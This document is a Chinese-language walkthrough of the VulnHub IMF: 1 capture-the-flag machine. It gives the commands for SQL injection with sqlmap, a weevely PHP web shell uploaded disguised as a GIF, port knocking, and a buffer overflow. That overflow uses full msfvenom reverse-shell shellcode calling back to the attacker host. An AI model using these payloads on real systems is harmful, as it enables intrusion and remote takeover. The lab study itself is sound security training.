Vulnhub-IMF-1
2024-2-5 15:55:38 Author: mp.weixin.qq.com(查看原文) 阅读量:10 收藏

title: Vulnhub-IMF-1
categories:
- VulnHub
tags:
- Linux
- 二维码
- JavaScript
- PHP
- weeley
- gobuster
- nmap
- SQL注入
- 文件上传
- sqlmap
- knock
- metasploit
- 缓冲区溢出
- 端口碰撞
cover: /images/Vulnhub.png
abbrlink: 127c8ee5
date: 2023-01-13 22:59:04

Vulnhub IMF: 1<!--more-->

0x01 靶机介绍

  • Name: IMF: 1

  • Date release: 30 Oct 2016

  • Author: Geckom

  • Series: IMF

  • Difficulty : medium

靶机下载地址:

https://www.vulnhub.com/entry/imf-1,162/

0x02 侦查

端口探测

首先使用 nmap 进行端口扫描

nmap -p- -sV -sC -A 192.168.0.103 -oA nmap_IMF

扫描结果显示目标只开放了80端口

80端口

访问http://192.168.0.103为 IMF,即不可能的任务情报署

目录探测

使用 gobuster 进行目录扫描,成功发现多个文件和目录

gobuster dir -u http://192.168.0.103 -w /usr/share/wordlists/dirb/big.txt -x php

0x03 上线[www-data]

信息收集

contact.php的源代码中发现第一个flag:

flag1{YWxsdGhlZmlsZXM=}

js目录中发现三串特殊名字的 JavaScript 文件

重组后经 base64 解码后发现第二个flag:

flag2{aW1mYWRtaW5pc3RyYXRvcg==}
ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==# base64解码flag2{aW1mYWRtaW5pc3RyYXRvcg==}

针对拿到的两个 flag 进行 base64 解码,成功拿到字符串为allthefilesimfadministrator

echo "YWxsdGhlZmlsZXM=" | base64 -decho "aW1mYWRtaW5pc3RyYXRvcg==" | base64 -d

SQL注入

访问http://192.168.0.103/imfadministrator为管理员的登录界面

在网页中发现三个邮箱地址,分别为[email protected][email protected][email protected]

使用邮箱地址中的用户名进行登录,但是都提示无效的用户名

rmichaelsestonermichaels

在 pass 参数中修改为pass[],成功拿到第三个flag:

flag3{Y29udGludWVUT2Ntcw==}

,经 base64 解码为continueTOcms

访问http://192.168.0.103/imfadministrator/cms.php?pagename=home为管理界面

截取数据包对pagename参数尝试注入

GET /imfadministrator/cms.php?pagename=* HTTP/1.1Host: 192.168.0.103Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.0.103/imfadministrator/cms.php?pagename=homeAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: admin_auth=eyJpdiI6IklBYldPMmNBN082VWNHM3FkQ0Q5Rmc9PSIsInZhbHVlIjoib1cxdDFzdmhWYU1sZ0w3b0dqcHJzZmVpNm15c0xjY2RuZ1NzM0MzWm9FcklsY0lJa1g1anFrdGg4Wm81ODVXaHRDTnA1M3pDbjZtZUc2UktaVFFzYUhpQ09KK1RCZVcxQU1CcU1uWTJ0dmlWY0RjcnRqMlg3WkZhSEt5SzFtY1kybklyTDg1TVRuK1J1K0w0ekZvTzdnPT0iLCJtYWMiOiI5NWQ5ZTk1YmY1ODFhZTNiZTc5ZTEwZTY1YmVjNjcyMzJjYzhiODQ1NjFkNzEwMDRjYjFlZDU4Zjk3OWU0YjUyIn0%3D; PHPSESSID=n7arta33i3eh2p8pauvu6l5v05Connection: close

使用 sqlmap 进行 SQL 注入获取数据,成功找到两个jpg文件

python3 sqlmap.py -r test1.txt --dump --level 5 --risk 3

分别访问两个图片http://192.168.0.103/imfadministrator/images/redacted.jpghttp://192.168.0.103/imfadministrator/images/whiteboard.jpg

下载二维码插件:二维码生成器

点击右键对图片进行识别,成功拿到第四个flag:

flag4{dXBsb2Fkcjk0Mi5waHA=}

经 base64 解码后为uploadr942.php

文件上传

访问http://192.168.0.103/imfadministrator/uploadr942.php发现文件上传点

使用 weevely 生成PHP类型木马

weevely generate mac mac.php

制作图片马并添加 GIF 头文件,同时将后缀名修改为.gif

cp mac.php mac.gif# 添加头文件GIF89a31111

使用 BurpSuite 截取数据包上传图片马,返回1f99323f6a1c为文件名

访问http://192.168.0.103/imfadministrator/uploads/1f99323f6a1c.gif成功

使用 weevely 输入密码mac成功连接,在其中找到第五个flag:

flag5{YWdlbnRzZXJ2aWNlcw==}

经 base64 解码为agentservices

weevely http://192.168.0.103/imfadministrator/uploads/1f99323f6a1c.gif mac

0x04 权限提升[root]

信息收集

由于提示为代理服务,在服务器中搜索名称agent,成功发现/usr/local/bin/agent

find / -name agent &> /dev/null

agent执行后发现7788端口已开放

netstat -ntlp

usr/local/bin目录下还存在文件access_codes,查看后发现端口:7482、8279、9467

端口碰撞

端口碰撞是一种通过在一组预先指定的关闭端口上产生连接请求,从外部打开防火墙上的端口的方法。一旦收到正确的连接请求序列,防火墙规则就会被动态修改,以允许发送连接请求的主机通过特定端口进行连接。

在本地下载 knock

git clone https://github.com/grongor/knock.git
使用 knock 依次访问7482、8279、9467端口,最终成功打开7788端口
./knock 192.168.0.103 7482 8279 9467nc 192.168.0.103 7788

在 weevely 中下载agent至本地

:file_download /usr/local/bin/agent /root/vulnhub/imf/agent

分析发现agent是 ELF 32位 的文件

file agent

缓冲区溢出

使用 ltrace 跟踪agent程序运行时所调用库函数的情况

chmod +x agentltrace ./agent

经测试输入任何值都会返回48093572,因此尝试在agent ID中输入48093572,验证成功

使用 MSF 生成用于反弹shell的 shellcode

msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.0.104 lport=5555 -f python -b "\x00\x0a\x0b"
buf =  b""buf += b"\xdd\xc5\xd9\x74\x24\xf4\xb8\xc5\x85\xcc\x11\x5e\x31"buf += b"\xc9\xb1\x12\x31\x46\x17\x03\x46\x17\x83\x03\x81\x2e"buf += b"\xe4\xba\x51\x59\xe4\xef\x26\xf5\x81\x0d\x20\x18\xe5"buf += b"\x77\xff\x5b\x95\x2e\x4f\x64\x57\x50\xe6\xe2\x9e\x38"buf += b"\x39\xbc\x61\xd0\xd1\xbf\x61\x35\x91\x49\x80\x85\xb3"buf += b"\x19\x12\xb6\x88\x99\x1d\xd9\x22\x1d\x4f\x71\xd3\x31"buf += b"\x03\xe9\x43\x61\xcc\x8b\xfa\xf4\xf1\x19\xae\x8f\x17"buf += b"\x2d\x5b\x5d\x57"

把 shellcode 添加至 agent 利用代码中

利用代码地址:

https://github.com/jessekurrus/agentsploit

在本地通过 MSF 监听5555端口

msf6 > use exploit/multi/handlermsf6 exploit(multi/handler) > set payload linux/x86/shell_reverse_tcpmsf6 exploit(multi/handler) > set lhost 192.168.0.104msf6 exploit(multi/handler) > set lport 5555msf6 exploit(multi/handler) > exploit -j

执行利用代码

python agentsploit.py 192.168.0.103 7788
成功收到反弹shell,同时拿到第六个flag:
flag6{R2gwc3RQcm90MGMwbHM=}cat /root/Flag.tx


文章来源: https://mp.weixin.qq.com/s?__biz=MzI2MzA3OTgxOA==&mid=2657165409&idx=1&sn=ba808aaafde35a4c9c36155f948b681d&chksm=f1d4d284c6a35b926481dca38ee0a151ec0a469da2af2f6f732721bc3bb466d977d908514ce1&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh